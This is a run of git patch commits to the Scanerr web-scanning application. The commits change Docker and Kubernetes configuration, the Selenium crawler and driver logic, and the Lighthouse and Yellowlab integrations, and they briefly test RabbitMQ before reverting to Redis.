-    https://github.com/mozilla/geckodriver/releases/download/v0.34.0/geckodriver-v0.34.0-linux64.tar.gz 
-RUN tar -xzf /tmp/geckodriver.tar.gz -C /tmp/
-RUN chmod +x /tmp/geckodriver
-RUN mv /tmp/geckodriver /usr/local/bin/
-
-# Cleanup unnecessary stuff
-RUN apt-get purge -y --auto-remove
+# installing google-chrome-stable
+RUN curl -LO https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb
+RUN apt-get install -y ./google-chrome-stable_current_amd64.deb
+RUN rm google-chrome-stable_current_amd64.deb
+
+# # installing gekodriver
+# RUN curl -fL -o /tmp/geckodriver.tar.gz \
+#     https://github.com/mozilla/geckodriver/releases/download/v0.34.0/geckodriver-v0.34.0-linux64.tar.gz 
+# RUN tar -xzf /tmp/geckodriver.tar.gz -C /tmp/
+# RUN chmod +x /tmp/geckodriver
+# RUN mv /tmp/geckodriver /usr/local/bin/
+
+# # Cleanup unnecessary stuff
+# RUN apt-get purge -y --auto-remove
 
 # installing node and npm --> n lts
 RUN apt-get update && apt-get install nodejs npm -y --no-install-recommends \
diff --git a/Dockerfile.local b/Dockerfile.local
index 8782f9c3..a088467e 100644
--- a/Dockerfile.local
+++ b/Dockerfile.local
@@ -35,17 +35,7 @@ RUN apt-get update && apt-get install nodejs npm -y --no-install-recommends \
 # installing google-chrome-stable
 RUN curl -LO https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb
 RUN apt-get install -y ./google-chrome-stable_current_amd64.deb
-RUN rm google-chrome-stable_current_amd64.deb 
-
-# installing gekodriver
-RUN curl -fL -o /tmp/geckodriver.tar.gz \
-    https://github.com/mozilla/geckodriver/releases/download/v0.34.0/geckodriver-v0.34.0-linux64.tar.gz 
-RUN tar -xzf /tmp/geckodriver.tar.gz -C /tmp/
-RUN chmod +x /tmp/geckodriver
-RUN mv /tmp/geckodriver /usr/local/bin/
-
-# Cleanup unnecessary stuff
-RUN apt-get purge -y --auto-remove
+RUN rm google-chrome-stable_current_amd64.deb
 
 # begin npm portion
 RUN npm cache clean --force
diff --git a/app/api/utils/driver.py b/app/api/utils/driver.py
index 6cc369bc..c44ca80f 100644
--- a/app/api/utils/driver.py
+++ b/app/api/utils/driver.py
@@ -123,6 +123,7 @@ def driver_test() -> None:
     # testing selenium
     try:
         driver = driver_init()
+        driver.set_page_load_timeout(20)
         driver.get('https://google.com')
         title = driver.title
         assert title == 'Google'
diff --git a/env/.env.dev.example b/env/.env.dev.example
index 31444d84..ce40e782 100644
--- a/env/.env.dev.example
+++ b/env/.env.dev.example
@@ -38,6 +38,7 @@ POSTGRES_PASSWORD=supersecretpassword
 # paths
 CHROMEDRIVER = /usr/bin/chromedriver
 CHROME_BROWSER = /usr/bin/chromium
+FIREFOX_BROWSER = /usr/bin/firefox
 
 
 # stripe keys
diff --git a/env/.env.prod.example b/env/.env.prod.example
index 9d6d9f46..b45812e4 100644
--- a/env/.env.prod.example
+++ b/env/.env.prod.example
@@ -34,6 +34,7 @@ DB_HOST = db-273428-user-ndjweodi2.b.db.ondigitalocean.com  # example
 # paths
 CHROMEDRIVER = /usr/bin/chromedriver
 CHROME_BROWSER = /usr/bin/chromium
+FIREFOX_BROWSER = /usr/bin/firefox
 
 
 # stripe keys
diff --git a/env/.env.stage.example b/env/.env.stage.example
index 422f0828..d1b0d3c0 100644
--- a/env/.env.stage.example
+++ b/env/.env.stage.example
@@ -33,6 +33,7 @@ DB_PASS = supersecretpassword
 # paths
 CHROMEDRIVER = /usr/bin/chromedriver
 CHROME_BROWSER = /usr/bin/google-chrome
+FIREFOX_BROWSER = /usr/bin/firefox
 
 
 # stripe keys

From 713b0e34c36ab1e5270ddb606ae84bb26de575b1 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 5 Aug 2024 19:02:00 -0600
Subject: [PATCH 612/752] added yellowlab to compose files

---
 docker-compose.dev.yml  | 15 +++++++++++++++
 docker-compose.prod.yml | 15 +++++++++++++++
 2 files changed, 30 insertions(+)

diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index db3d20f3..95fd5ee5 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -61,6 +61,21 @@ services:
       - db
 
 
+  yellowlab:
+    container_name: yellowlab
+    hostname: yellowlab
+    privileged: true
+    restart: always
+    image: scanerr/ylt
+    ports:
+      - 8383:8383
+    depends_on:
+      - redis
+      - celery 
+      - app
+      - db
+
+
   nginx-proxy:
     container_name: nginx-proxy
     hostname: nginx-proxy
diff --git a/docker-compose.prod.yml b/docker-compose.prod.yml
index 922a80e9..36dece56 100644
--- a/docker-compose.prod.yml
+++ b/docker-compose.prod.yml
@@ -61,6 +61,21 @@ services:
       - db
 
 
+  yellowlab:
+    container_name: yellowlab
+    hostname: yellowlab
+    privileged: true
+    restart: always
+    image: scanerr/ylt
+    ports:
+      - 8383:8383
+    depends_on:
+      - redis
+      - celery 
+      - app
+      - db
+
+
   nginx-proxy:
     container_name: nginx-proxy
     hostname: nginx-proxy

From e37b1dc0323356318b00f80d171b43f2bf7ce85b Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 5 Aug 2024 20:48:43 -0600
Subject: [PATCH 613/752] fixed some small bugs

---
 app/api/v1/ops/services.py | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index dd334e62..6b6bf7bf 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -1371,8 +1371,8 @@ def create_scan(request: object=None, delay: bool=False, **kwargs) -> object:
     # checking args
     site_id = '' if site_id is None else site_id
     page_id = '' if page_id is None else page_id
-    site_id = site_id if len(site_id) > 0 else None
-    page_id = page_id if len(page_id) > 0 else None
+    site_id = site_id if len(str(site_id)) > 0 else None
+    page_id = page_id if len(str(page_id)) > 0 else None
 
     # verifying types
     if len(types) == 0:
@@ -1964,8 +1964,8 @@ def create_test(request: object=None, delay: bool=False, **kwargs) -> object:
     # checking args
     site_id = '' if site_id is None else site_id
     page_id = '' if page_id is None else page_id
-    site_id = site_id if len(site_id) > 0 else None
-    page_id = page_id if len(page_id) > 0 else None
+    site_id = site_id if len(str(site_id)) > 0 else None
+    page_id = page_id if len(str(page_id)) > 0 else None
 
     # deciding on scope
     resource = 'site' if site_id else 'page'

From 9091fc044a7d86ec9113d57c56fa994c4aaffeda Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 5 Aug 2024 20:48:51 -0600
Subject: [PATCH 614/752] removed unused code

---
 Dockerfile              | 10 ----------
 app/api/utils/imager.py |  9 ---------
 2 files changed, 19 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index c2b65b30..dffd7371 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -34,16 +34,6 @@ RUN curl -LO https://dl.google.com/linux/direct/google-chrome-stable_current_amd
 RUN apt-get install -y ./google-chrome-stable_current_amd64.deb
 RUN rm google-chrome-stable_current_amd64.deb
 
-# # installing gekodriver
-# RUN curl -fL -o /tmp/geckodriver.tar.gz \
-#     https://github.com/mozilla/geckodriver/releases/download/v0.34.0/geckodriver-v0.34.0-linux64.tar.gz 
-# RUN tar -xzf /tmp/geckodriver.tar.gz -C /tmp/
-# RUN chmod +x /tmp/geckodriver
-# RUN mv /tmp/geckodriver /usr/local/bin/
-
-# # Cleanup unnecessary stuff
-# RUN apt-get purge -y --auto-remove
-
 # installing node and npm --> n lts
 RUN apt-get update && apt-get install nodejs npm -y --no-install-recommends \
     && npm install -g n \
diff --git a/app/api/utils/imager.py b/app/api/utils/imager.py
index ad5f28f0..f6454361 100644
--- a/app/api/utils/imager.py
+++ b/app/api/utils/imager.py
@@ -225,7 +225,6 @@ def scan_vrt(self, driver: object=None) -> list:
         last_height = -1
         bottom = False
         start_time = datetime.now()
-        err_mrgn = 0
         while not bottom:
 
             # checking if maxed out time
@@ -240,14 +239,6 @@ def scan_vrt(self, driver: object=None) -> list:
             # get current position and compare to previous
             new_height = driver.execute_script("return window.pageYOffset + document.documentElement.clientHeight")
             height_diff = new_height - last_height
-
-            # setting err_mrgn if not auto_height
-            if index == 0:
-                if not self.scan.configs.get('auto_height', False):
-                    print(f'{sizes[1]} - {new_height}')
-                    err_mrgn = int(sizes[1]) - int(new_height)
-                    print(f'setting error margin to {err_mrgn}')
-
             print(f'new_height => {new_height} | height_diff => {height_diff}')
 
             if height_diff > 20:

From 9099787f17d714ce7a55923ad2e4716af5e3a9f3 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 5 Aug 2024 22:24:06 -0600
Subject: [PATCH 615/752] fixed some minor bugs

---
 app/api/utils/driver.py    | 33 +++++++++++++++++++++++++--------
 app/api/v1/ops/services.py |  1 +
 2 files changed, 26 insertions(+), 8 deletions(-)

diff --git a/app/api/utils/driver.py b/app/api/utils/driver.py
index c44ca80f..4823865f 100644
--- a/app/api/utils/driver.py
+++ b/app/api/utils/driver.py
@@ -1,5 +1,6 @@
 from selenium import webdriver
 from selenium.webdriver.common.actions.action_builder import ActionBuilder
+from datetime import datetime
 import time, os, sys
 
 
@@ -155,7 +156,7 @@ def driver_wait(
         interval: int=1, 
         max_wait_time: int=30, 
         min_wait_time: int=3
-    ) -> object:
+    ) -> bool:
     """
     Expects the driver instance and waits 
     for either the page to fully load or the max_wait_time
@@ -168,7 +169,7 @@ def driver_wait(
         'min_wait_time' : int
     }
 
-    Returns -> driver object
+    Returns -> bool (True if page is loaded)
     """
 
     def interact_with_page(driver):
@@ -182,7 +183,6 @@ def interact_with_page(driver):
         action.perform()
         return
 
-
     resolved = False
     page_state = 'loading'
     wait_time = 0
@@ -191,18 +191,35 @@ def interact_with_page(driver):
     time.sleep(min_wait_time)
 
     while int(wait_time) < int(max_wait_time) and page_state != 'complete':
+
+        # get current timestamp
+        pre_check_time = datetime.now()
+        
         # wait 1 sec or <interval:int> sec 
         time.sleep(interval)
 
-        page_state = driver.execute_script('return document.readyState')
+        try:
+            page_state = driver.execute_script('return document.readyState')
+        except Exception as e:
+            print(e)
+
+        # get time after waiting for script
+        post_check_time = datetime.now()
+
+        # get seconds between checks
+        time_to_add = (post_check_time - pre_check_time).total_seconds()
+
         print(f'document state is {page_state}')
+        if page_state == 'complete':
+            resolved = True
         
-        wait_time += interval
+        wait_time += time_to_add
     
-    # interacting with page once available
-    interact_with_page(driver)
+    # interacting with page if available
+    if resolved:
+        interact_with_page(driver)
 
-    return None
+    return resolved
 
 
 
diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 6b6bf7bf..15bdf4b9 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -533,6 +533,7 @@ def crawl_site(request: object, id: str) -> object:
         return Response(data, status=check_data['status'])
 
     # update site info
+    site = Site.objects.get(id=id)
     site.time_crawl_completed = None
     site.save()
 

From 6c09edf6f54b9fe28c40b75ad6fa4d9b26c990ee Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 5 Aug 2024 22:24:56 -0600
Subject: [PATCH 616/752] increased efficiency and speed of Crawler.py

---
 app/api/utils/crawler.py | 78 +++++++++++++++++++++++++++++++---------
 1 file changed, 61 insertions(+), 17 deletions(-)

diff --git a/app/api/utils/crawler.py b/app/api/utils/crawler.py
index 2e0a8e45..a84edff2 100644
--- a/app/api/utils/crawler.py
+++ b/app/api/utils/crawler.py
@@ -1,4 +1,3 @@
-import requests
 from bs4 import BeautifulSoup
 from .driver import *
 
@@ -40,8 +39,10 @@ def get_links(self) -> list:
         # which are within the same self.url domain
 
         follow_urls = []
-        crawled_urls = [self.url,]
+        crawled_urls = []
+        saved_urls = [self.url,]
         
+
         def url_is_valid(url: str=None) -> bool:
             # checks if the passed url is 
             # a valid url to follow and 
@@ -71,8 +72,16 @@ def url_is_valid(url: str=None) -> bool:
                     return False
             return True
 
-        
-        def add_urls(start_url):
+
+        def crawl_url(start_url: str=None, max_depth: int=5):
+
+            # adding url to list of crawled_urls
+            crawled_urls.append(start_url)
+            
+            # setting depth
+            depth = 0
+
+            # get requested start_url
             self.driver.get(start_url)
 
             # wait for page to load
@@ -86,7 +95,13 @@ def add_urls(start_url):
             soup = BeautifulSoup(self.driver.page_source, 'html.parser')
 
             # iterating through all <a> tags
+
             for link in soup.find_all('a'):
+                
+                # check if max_depth has been reached
+                if depth >= max_depth:
+                    break
+                
                 url = link.get('href')
                 if url is not None:
                     # validate url
@@ -97,37 +112,66 @@ def add_urls(start_url):
                         # check status of page
                         self.driver.get(url)
                         # wait for page to load
-                        driver_wait(
+                        resolved = driver_wait(
                             driver=self.driver,
                             max_wait_time=20, 
                             interval=2
                         )
-                        
-                        # req_status = requests.get(url).status_code
-                        # bad_status = [404, 500, 301]
 
+                        # skipping url if not responding
+                        if not resolved:
+                            continue
+                        
+                        # clean and decide to record url
                         if self.driver.current_url == url:
                             if url.endswith('/'):
                                 url = url.rstrip('/')
                             if not (url in follow_urls):
                                 follow_urls.append(url)
+                                depth += 1
+                                print(f'{depth} urls saved of {max_depth} allowed')
             
+    
+        def record_urls():
+            # adds all follow_urls to saved_urls
+            # if not already recorded
+            
+            max_reached = False
+            
+            # iterate through existing follow_urls
+            for url in follow_urls:
+                # pass if already crawled
+                if not url in crawled_urls:
+                    if not url in saved_urls:
+                        saved_urls.append(url)
+                        print(f'saving -> {url}')
+                    if len(saved_urls) >= self.max_urls:
+                        print('max pages reached')
+                        max_reached = True
+                        break
+            return max_reached
+       
         # layer 0
-        add_urls(self.url)
+        crawl_url(self.url, max_depth=self.max_urls)
 
         # iterate through layers
-        while (len(follow_urls) > len(crawled_urls)) and (len(crawled_urls) < self.max_urls):
+        while (len(follow_urls) > len(saved_urls)) and (len(saved_urls) < self.max_urls):
+            
+            # crawl each follow_url that 
+            # has not been crawled
             for url in follow_urls:
-                if not url in crawled_urls:
-                    crawled_urls.append(url)
-                    print(url)
-                    add_urls(url)
-                if len(crawled_urls) >= self.max_urls:
-                    print('max pages reached')
+                # add existing follow_urls first
+                max_reached = record_urls()
+                if max_reached:
                     break
+                
+                # crawl new url if not in crawled_urls
+                if not url in crawled_urls:
+                    crawl_url(url, max_depth=self.max_urls)
+
 
         # quit driver and return
         quit_driver(self.driver)
-        return crawled_urls
+        return saved_urls
 
 

From 8596e9894e305fd823c75a3e607ea8a225986727 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 6 Aug 2024 10:04:25 -0600
Subject: [PATCH 617/752] added exception handling for autocaser

---
 app/api/utils/autocaser.py | 8 +++++++-
 1 file changed, 7 insertions(+), 1 deletion(-)

diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index d861d687..0d7e9588 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -937,7 +937,13 @@ def get_elements(self) -> list:
     def build_cases(self) -> None:
 
         # run get_elements
-        elements = self.get_elements()
+        try:
+            elements = self.get_elements()
+        except Exception as e:
+            # catching failures
+            print(e)
+            elements = []
+
 
         # get/decide on value for element
         def get_elem_value(element):

From 75b6fade5965db329a71b251b43af75f072493a9 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 6 Aug 2024 10:05:14 -0600
Subject: [PATCH 618/752] added 'status' and 'passed' filtering for tests and
 testcases zapier endpoints

---
 app/api/v1/ops/services.py | 10 ++++++++++
 1 file changed, 10 insertions(+)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 15bdf4b9..3098aacd 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -2489,6 +2489,7 @@ def get_tests_zapier(request: object) -> object:
     account = Member.objects.get(user=request.user).account
     page_id = request.query_params.get('page_id')
     site_id = request.query_params.get('site_id')
+    _status = request.query_params.get('status')
     tests = None
     
     # deciding on scope
@@ -2536,6 +2537,10 @@ def get_tests_zapier(request: object) -> object:
             post_scan=None,
         ).order_by('-time_created')
 
+    # filter my status if requested
+    if status is not None:
+        tests = tests.filter(status=_status)
+
     # build response data
     data = []
 
@@ -4646,6 +4651,7 @@ def get_testcases_zapier(request: object) -> object:
     """
 
     # get request data
+    passed = request.query_params.get('passed')
     account = Member.objects.get(user=request.user).account
     testcases = None
     
@@ -4669,6 +4675,10 @@ def get_testcases_zapier(request: object) -> object:
             time_completed=None,
         ).order_by('-time_created')
 
+    # filter by passed if requested
+    if passed is not None:
+        testcases = testcases.filter(passed=passed)
+
     # build response data
     data = []
 

From 1ecf88f67ea16ccb3ebaa621dada68594276fef5 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 6 Aug 2024 13:29:53 -0600
Subject: [PATCH 619/752] fixed naming bug in build_scan()

---
 app/api/utils/scanner.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/scanner.py b/app/api/utils/scanner.py
index 487b8be7..b8d21972 100644
--- a/app/api/utils/scanner.py
+++ b/app/api/utils/scanner.py
@@ -81,7 +81,7 @@ def build_scan(self) -> object:
         )
         driver.get(self.page.page_url)
         driver_data = get_data(
-            driver=self.driver, 
+            driver=driver, 
             max_wait_time=self.scan.configs['max_wait_time']
         )
         if 'html' in self.scan.type or 'full' in self.scan.type:

From d23683179456eb9bab1351819e36f89eb073a06e Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 6 Aug 2024 14:26:18 -0600
Subject: [PATCH 620/752] fixing issue with build_scan()

---
 app/api/utils/scanner.py | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/app/api/utils/scanner.py b/app/api/utils/scanner.py
index b8d21972..b8f5fa14 100644
--- a/app/api/utils/scanner.py
+++ b/app/api/utils/scanner.py
@@ -81,7 +81,8 @@ def build_scan(self) -> object:
         )
         driver.get(self.page.page_url)
         driver_data = get_data(
-            driver=driver, 
+            driver=driver,
+            browser=self.scan.configs['browser'],
             max_wait_time=self.scan.configs['max_wait_time']
         )
         if 'html' in self.scan.type or 'full' in self.scan.type:

From 615f32d816d62a41c4a340f49d916c9130098bd2 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 6 Aug 2024 15:00:35 -0600
Subject: [PATCH 621/752] fixed configs mapping

---
 app/api/utils/lighthouse.py | 4 ++--
 app/api/utils/scanner.py    | 4 ++--
 app/api/utils/yellowlab.py  | 4 ++--
 3 files changed, 6 insertions(+), 6 deletions(-)

diff --git a/app/api/utils/lighthouse.py b/app/api/utils/lighthouse.py
index f456b93f..b5ae08d1 100644
--- a/app/api/utils/lighthouse.py
+++ b/app/api/utils/lighthouse.py
@@ -16,11 +16,11 @@ class Lighthouse():
     """
 
 
-    def __init__(self, scan=None, configs=None):
+    def __init__(self, scan=None):
         self.scan = scan
         self.site = self.scan.site
         self.page = self.scan.page
-        self.configs = configs
+        self.configs = scan.configs
         self.sizes = configs['window_size'].split(',')
         self.audits_url = ''
 
diff --git a/app/api/utils/scanner.py b/app/api/utils/scanner.py
index b8f5fa14..60eb69d7 100644
--- a/app/api/utils/scanner.py
+++ b/app/api/utils/scanner.py
@@ -488,7 +488,7 @@ def _lighthouse(scan_id: str, test_id: str=None, automation_id: str=None) -> obj
 
     try:
         # running lighthouse
-        lh_data = Lighthouse(scan=scan, configs=scan.configs).get_data() 
+        lh_data = Lighthouse(scan=scan).get_data() 
         
         # updating Scan object
         scan = Scan.objects.get(id=scan_id)
@@ -525,7 +525,7 @@ def _yellowlab(scan_id: str, test_id: str=None, automation_id: str=None) -> obje
     
     try:
         # running yellowlab
-        yl_data = Yellowlab(scan=scan, configs=scan.configs).get_data()
+        yl_data = Yellowlab(scan=scan).get_data()
         
         # updating Scan object
         scan = Scan.objects.get(id=scan_id)
diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py
index f316c0a8..26ac2702 100644
--- a/app/api/utils/yellowlab.py
+++ b/app/api/utils/yellowlab.py
@@ -16,11 +16,11 @@ class Yellowlab():
     """
 
 
-    def __init__(self, scan=None, configs=None):
+    def __init__(self, scan=None):
         self.scan = scan
         self.site = self.scan.site
         self.page = self.scan.page
-        self.configs = configs
+        self.configs = scan.configs
         self.audits_url = ''
 
         # initial audits object

From 4647d9a83a64e14d28df7cf06aa830289e4f150a Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 6 Aug 2024 15:24:11 -0600
Subject: [PATCH 622/752] fixed naming issues in Lighthouse configs ref

---
 app/api/utils/lighthouse.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/lighthouse.py b/app/api/utils/lighthouse.py
index b5ae08d1..106af72a 100644
--- a/app/api/utils/lighthouse.py
+++ b/app/api/utils/lighthouse.py
@@ -21,7 +21,7 @@ def __init__(self, scan=None):
         self.site = self.scan.site
         self.page = self.scan.page
         self.configs = scan.configs
-        self.sizes = configs['window_size'].split(',')
+        self.sizes = scan.configs['window_size'].split(',')
         self.audits_url = ''
 
         # initial scores object

From 33b7ed1b9ebec7d458c0ad8ce736a03ba29c4f96 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 7 Aug 2024 10:05:17 -0600
Subject: [PATCH 623/752] testing rabbitmq

---
 app/scanerr/settings.py           |  4 +--
 docker-compose.dev.yml            | 10 +++++++
 k8s/prod/rabbitmq-deployment.yaml | 49 +++++++++++++++++++++++++++++++
 notes/Kubernetes.md               |  1 +
 4 files changed, 62 insertions(+), 2 deletions(-)
 create mode 100644 k8s/prod/rabbitmq-deployment.yaml

diff --git a/app/scanerr/settings.py b/app/scanerr/settings.py
index ae8f36da..b64bec0d 100644
--- a/app/scanerr/settings.py
+++ b/app/scanerr/settings.py
@@ -176,11 +176,11 @@
 
 
 # Redis and Celery Config
-CELERY_BROKER_URL = "redis://redis:6379"
+# CELERY_BROKER_URL = "redis://redis:6379"
 
 
 # RabbitMQ and Celery Config
-# CELERY_BROKER_URL = "amqp://rabbitmq"
+CELERY_BROKER_URL = "amqp://rabbitmq"
 
 
 # Default primary key field type
diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index 95fd5ee5..0af3ef06 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -42,6 +42,14 @@ services:
       - "6379"
 
 
+  rabbitmq:
+    container_name: scanerr-rabbitmq
+    hostname: scanerr-rabbitmq
+    image: rabbitmq:alpine
+    ports:
+      - "5672"
+
+
   celery:
     container_name: scanerr-celery
     hostname: scanerr-celery
@@ -56,6 +64,7 @@ services:
     volumes:
       - ./app:/scanerr
     depends_on:
+      - rabbitmq
       - redis
       - app
       - db
@@ -70,6 +79,7 @@ services:
     ports:
       - 8383:8383
     depends_on:
+      - rabbitmq
       - redis
       - celery 
       - app
diff --git a/k8s/prod/rabbitmq-deployment.yaml b/k8s/prod/rabbitmq-deployment.yaml
new file mode 100644
index 00000000..18ada4c6
--- /dev/null
+++ b/k8s/prod/rabbitmq-deployment.yaml
@@ -0,0 +1,49 @@
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  labels:
+    service: rabbitmq
+  name: rabbitmq
+spec:
+  replicas: 1
+  selector:
+    matchLabels:
+      service: rabbitmq
+  strategy: {}
+  template:
+    metadata:
+      labels:
+        service: rabbitmq
+    spec:
+      restartPolicy: Always
+      containers:
+        - image: rabbitmq:alpine
+          name: rabbitmq
+          ports:
+            - containerPort: 5672
+          resources: 
+            limits:
+              cpu: "250m"
+              memory: "250Mi"
+            requests:
+              cpu: "100m"
+              memory: "100Mi"
+status: {}
+
+
+
+---
+
+apiVersion: v1
+kind: Service
+metadata:
+  labels:
+    service: rabbitmq
+  name: rabbitmq
+spec:
+  ports:
+    - name: "5672"
+      port: 5672
+      targetPort: 5672
+  selector:
+    service: rabbitmq
diff --git a/notes/Kubernetes.md b/notes/Kubernetes.md
index 02e5c765..123f3612 100644
--- a/notes/Kubernetes.md
+++ b/notes/Kubernetes.md
@@ -120,6 +120,7 @@ kubectl port-forward service/app-service 8000:8000
 ### 4. Spin up Scanerr deployments and services
 - `kubectl apply -f ./k8s/prod/app-configs.yaml`
 - `kubectl apply -f ./k8s/prod/redis-deployment.yaml`
+- `kubectl apply -f ./k8s/prod/rabbitmq-deployment.yaml`
 - `kubectl apply --server-side -f https://github.com/kedacore/keda/releases/download/v2.11.0/keda-2.11.0.yaml`
 - `kubectl apply -f ./k8s/prod/app-deployment.yaml`
 - `kubectl apply -f ./k8s/prod/celery-deployment.yaml`

From f7525dd44956658052c8d46d147044756d351178 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 7 Aug 2024 10:48:35 -0600
Subject: [PATCH 624/752] added a catch for LH output cleaning

---
 app/api/utils/lighthouse.py | 9 ++++++---
 1 file changed, 6 insertions(+), 3 deletions(-)

diff --git a/app/api/utils/lighthouse.py b/app/api/utils/lighthouse.py
index 106af72a..301df274 100644
--- a/app/api/utils/lighthouse.py
+++ b/app/api/utils/lighthouse.py
@@ -79,9 +79,12 @@ def lighthouse_cli(self):
         stdout_string = stdout_value.decode('iso-8859-1')
 
         # clean string of any errors
-        delm = '{\n  "lighthouseVersion"'
-        stdout_string = delm + stdout_string.split(delm)[1]
-
+        try:
+            delm = '{\n  "lighthouseVersion"'
+            stdout_string = delm + stdout_string.split(delm)[1]
+        except Exception as e:
+            print(e)
+            
         # encode back to bytes
         stdout_value = stdout_string.encode('iso-8859-1')
         

From ff8fea33d48633132a385b4d1548bb8e23c91b5d Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 7 Aug 2024 10:49:49 -0600
Subject: [PATCH 625/752] added rabbitmq to containers as new messaging broker

---
 docker-compose.local.yml | 10 ++++++++++
 1 file changed, 10 insertions(+)

diff --git a/docker-compose.local.yml b/docker-compose.local.yml
index fb2efa36..64e1b44c 100644
--- a/docker-compose.local.yml
+++ b/docker-compose.local.yml
@@ -39,6 +39,14 @@ services:
       - "6379"
   
 
+  rabbitmq:
+    container_name: scanerr-rabbitmq
+    hostname: scanerr-rabbitmq
+    image: rabbitmq:alpine
+    ports:
+      - "5672"
+
+
   celery:
     container_name: scanerr-celery
     hostname: scanerr-celery
@@ -53,6 +61,7 @@ services:
     env_file:
       - ./env/.env.local
     depends_on:
+      - rabbitmq
       - db
       - redis
       - app
@@ -67,6 +76,7 @@ services:
     ports:
       - 8383:8383
     depends_on:
+      - rabbitmq
       - redis
       - celery 
       - app

From cbd4346e1905b857ac97d734f55688d63f02c1ac Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 7 Aug 2024 11:47:55 -0600
Subject: [PATCH 626/752] reverting back to redis

---
 app/scanerr/settings.py | 4 ++--
 notes/Kubernetes.md     | 2 ++
 2 files changed, 4 insertions(+), 2 deletions(-)

diff --git a/app/scanerr/settings.py b/app/scanerr/settings.py
index b64bec0d..ae8f36da 100644
--- a/app/scanerr/settings.py
+++ b/app/scanerr/settings.py
@@ -176,11 +176,11 @@
 
 
 # Redis and Celery Config
-# CELERY_BROKER_URL = "redis://redis:6379"
+CELERY_BROKER_URL = "redis://redis:6379"
 
 
 # RabbitMQ and Celery Config
-CELERY_BROKER_URL = "amqp://rabbitmq"
+# CELERY_BROKER_URL = "amqp://rabbitmq"
 
 
 # Default primary key field type
diff --git a/notes/Kubernetes.md b/notes/Kubernetes.md
index 123f3612..d836b77c 100644
--- a/notes/Kubernetes.md
+++ b/notes/Kubernetes.md
@@ -163,6 +163,8 @@ kubectl port-forward service/app-service 8000:8000
    - `kubectl rollout restart deployment app-deployment celery-deployment`
  - Get Current IPs for pods:
    - `kubectl exec <container-id> -- curl -s http://checkip.dyndns.org/ | sed 's/[a-zA-Z<>/ :]//g'`
+ - Force delete pods that are stuck in `Terminating`:
+   - `for p in $(kubectl get pods | grep Terminating | awk '{print $1}'); do kubectl delete pod $p --grace-period=0 --force;done`
 
 
 

From 353bab932b8fe81532c05c8e686e23f41df2e8e1 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 7 Aug 2024 12:26:52 -0600
Subject: [PATCH 627/752] decoupling celery and celery beat

---
 docker-compose.dev.yml             | 21 ++++++++++++++++++
 docker-compose.local.yml           | 21 ++++++++++++++++++
 docker-compose.prod.yml            | 29 +++++++++++++++++++++++++
 k8s/prod/beat-deployment.yaml      | 34 ++++++++++++++++++++++++++++++
 setup/scripts/local-entrypoint.sh  |  8 +++++++
 setup/scripts/remote-entrypoint.sh | 14 ++++++++++--
 6 files changed, 125 insertions(+), 2 deletions(-)
 create mode 100644 k8s/prod/beat-deployment.yaml

diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index 0af3ef06..eeb1c439 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -70,6 +70,27 @@ services:
       - db
 
 
+  beat:
+    container_name: scanerr-beat
+    hostname: scanerr-beat
+    privileged: true
+    restart: always
+    build:
+      context: .
+      dockerfile: Dockerfile.local
+    entrypoint: ["/local-entrypoint.sh", "beat"]
+    volumes:
+      - ./app:/scanerr
+    env_file:
+      - ./env/.env.local
+    depends_on:
+      - celery
+      - rabbitmq
+      - db
+      - redis
+      - app
+
+
   yellowlab:
     container_name: yellowlab
     hostname: yellowlab
diff --git a/docker-compose.local.yml b/docker-compose.local.yml
index 64e1b44c..8a56769e 100644
--- a/docker-compose.local.yml
+++ b/docker-compose.local.yml
@@ -67,6 +67,27 @@ services:
       - app
 
 
+  beat:
+    container_name: scanerr-beat
+    hostname: scanerr-beat
+    privileged: true
+    restart: always
+    build:
+      context: .
